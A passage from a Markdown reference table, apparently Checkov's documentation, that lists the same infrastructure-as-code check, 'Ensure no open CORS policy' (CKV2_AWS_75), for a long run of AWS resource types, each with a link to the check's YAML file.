[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 419 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 420 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 421 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 422 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 423 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 424 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 425 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 426 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 427 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 428 | CKV2_AWS_75 | resource | aws_cloudwatch_event_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 429 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 430 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 431 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 432 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 433 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 434 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 435 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 436 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 437 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 438 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 439 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 440 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 441 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 442 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 443 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 444 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 445 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 446 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 447 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 448 | CKV2_AWS_75 | resource | aws_codeartifact_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 449 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 450 | CKV2_AWS_75 | resource | aws_codeartifact_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 451 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 452 | CKV2_AWS_75 | resource | aws_codebuild_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 453 | CKV2_AWS_75 | resource | aws_codebuild_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 454 | CKV2_AWS_75 | resource | aws_codebuild_report_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 455 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 456 | CKV2_AWS_75 | resource | aws_codebuild_source_credential | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 457 | CKV2_AWS_75 | resource | aws_codebuild_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 458 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 459 | CKV2_AWS_75 | resource | aws_codecatalyst_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 460 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 461 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 462 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 463 | CKV2_AWS_75 | resource | aws_codecommit_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 464 | CKV2_AWS_75 | resource | aws_codecommit_trigger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 465 | CKV2_AWS_75 | resource | aws_codeconnections_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 466 | CKV2_AWS_75 | resource | aws_codeconnections_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 467 | CKV2_AWS_75 | resource | aws_codedeploy_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 468 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 469 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 470 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 471 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 472 | CKV2_AWS_75 | resource | aws_codepipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 473 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 474 | CKV2_AWS_75 | resource | aws_codepipeline_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 475 | CKV2_AWS_75 | resource | aws_codestarconnections_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 476 | CKV2_AWS_75 | resource | aws_codestarconnections_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 477 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 478 | CKV2_AWS_75 | resource | aws_cognito_identity_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 479 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_provider_principal_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 480 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 481 | CKV2_AWS_75 | resource | aws_cognito_identity_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 482 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 483 | CKV2_AWS_75 | resource | aws_cognito_resource_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 484 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 485 | CKV2_AWS_75 | resource | aws_cognito_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 486 | CKV2_AWS_75 | resource | aws_cognito_user_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 487 | CKV2_AWS_75 | resource | aws_cognito_user_in_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 488 | CKV2_AWS_75 | resource | aws_cognito_user_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 489 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 490 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 491 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 492 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 493 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 494 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 495 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 496 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 497 | CKV2_AWS_75 | resource | aws_config_config_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 498 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 499 | CKV2_AWS_75 | resource | aws_config_configuration_recorder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 500 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 501 | CKV2_AWS_75 | resource | aws_config_conformance_pack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 502 | CKV2_AWS_75 | resource | aws_config_delivery_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 503 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 504 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 505 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 506 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 507 | CKV2_AWS_75 | resource | aws_config_remediation_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 508 | CKV2_AWS_75 | resource | aws_config_retention_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 509 | CKV2_AWS_75 | resource | aws_connect_bot_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 510 | CKV2_AWS_75 | resource | aws_connect_contact_flow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 511 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 512 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 513 | CKV2_AWS_75 | resource | aws_connect_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 514 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 515 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 516 | CKV2_AWS_75 | resource | aws_connect_phone_number | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 517 | CKV2_AWS_75 | resource | aws_connect_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 518 | CKV2_AWS_75 | resource | aws_connect_quick_connect | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 519 | CKV2_AWS_75 | resource | aws_connect_routing_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 520 | CKV2_AWS_75 | resource | aws_connect_security_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 521 | CKV2_AWS_75 | resource | aws_connect_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 522 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 523 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 524 | CKV2_AWS_75 | resource | aws_connect_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 525 | CKV2_AWS_75 | resource | aws_controltower_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 526 | CKV2_AWS_75 | resource | aws_controltower_landing_zone | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 527 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 528 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 529 | 